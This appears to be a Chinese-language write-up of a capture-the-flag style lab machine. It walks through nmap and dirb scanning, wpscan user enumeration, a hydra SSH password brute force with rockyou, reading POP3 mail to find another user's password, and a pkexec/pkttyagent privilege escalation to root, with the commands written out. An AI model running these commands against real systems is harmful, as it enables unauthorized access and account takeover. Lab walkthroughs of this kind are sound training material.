nmap扫描 ---- dirb扫描 ---- wpscan枚举用户名 ---- hydra爆破ssh登录密码 ---- 登录pop3端口查看邮件 ---- pkexec提权
环境信息:靶机:192.168.3.213
攻击机:192.168.3.130
具体步骤: 1、nmap扫描sudo nmap -sV -sC -p- 192.168.3.213
只有22(ssh)和80(http)端口开放
直接访问http://192.168.3.213,发现是apache2 ubuntu的默认页面
对网站进行dirb扫描
dirb http://192.168.3.213
扫描结果很多,节选如下
先看http://192.168.3.213/robots.txt,其中包含一个目录或者页面Thinking
然而,访问http://192.168.3.213/Thinking报404 not found
再尝试访问http://192.168.3.213/drupal/index.php,很久才能刷出页面,并且页面不太对劲
其实可以直接查看页面源代码,从页面源代码中可以得到两个信息:
1、不是drupal 7
2、一个明显是base64编码的flag:
RnJvbSBub3cgb24sIHlvdSBrbmV3IGFib3V0IG1lIHdpdGhvdXQgYSAiZHJvb3BzY2FuIg==
用burp的decoder模块解密,得到:
From now on, you knew about me without a "droopscan"
根据提示百度一下droopscan,没找到,倒是找到个droopescan,可以扫描Drupal,SilverStripe,Wordpress,Joomla和Moodle,结合之前dirb扫描出了wordpress的目录(但是无法访问wordpress网页,会跳转到http://192.168.178.33),先用wpscan扫描一下
根据提示增加--wp-content-dir参数,指向dirb扫出来的wp-content所在目录
wpscan --url http://192.168.3.213/drupal/index.php --wp-content-dir=http://192.168.3.213/drupal/wp-content/ -e
枚举出2个用户admin和ben
由于网站访问不了,所以也没法尝试admin和ben的wordpress登录,试试用hydra爆破admin和ben的ssh登录密码(rockyou.txt是/usr/share/wordlists/rockyou.txt.gz解压得到的):
hydra -l ben -P "rockyou.txt" ssh://192.168.3.213
爆破出来ben的密码是pookie
ssh ben@192.168.3.213
并输入密码pookie,登录成功
进去一看,绝了,cat命令都不让用
netstat -at
netstat -atn
实锤开着邮件服务。回忆一下,ben是mail组的成员(网上翻几张图,刚用ben登录的时候输入id命令查看的),尝试用ben的用户名和密码本地登录一下邮件服务器
telnet 127.0.0.1 110
USER ben
PASS pookie
登录成功
列出所有邮件
LIST
然后一封一封查看邮件内容,查看到第3封的时候,发现了adam的密码qwedsayxc!
RETR 3
查看suid命令的时候发现系统中有pkexec
find / -user root -perm /4000 2>/dev/null
利用pkexec的提权方法参考:pkexec提权(限制条件:用户必须在sudo组里且知道用户密码) - 隐念笎 - 博客园
提权步骤:
(1)开两个ben的shell
(2)在第一个(上面这个)shell中查看当前shell的PID
echo $$
(3)在第二个(下面那个)shell中用pkttyagent代理第一个终端
pkttyagent --process 3252
(4)在第一个shell输入
pkexec su
(5)在第二个shell按提示输入2,然后输入adam的密码,瞬间在第一个shell得到root权限
查看flag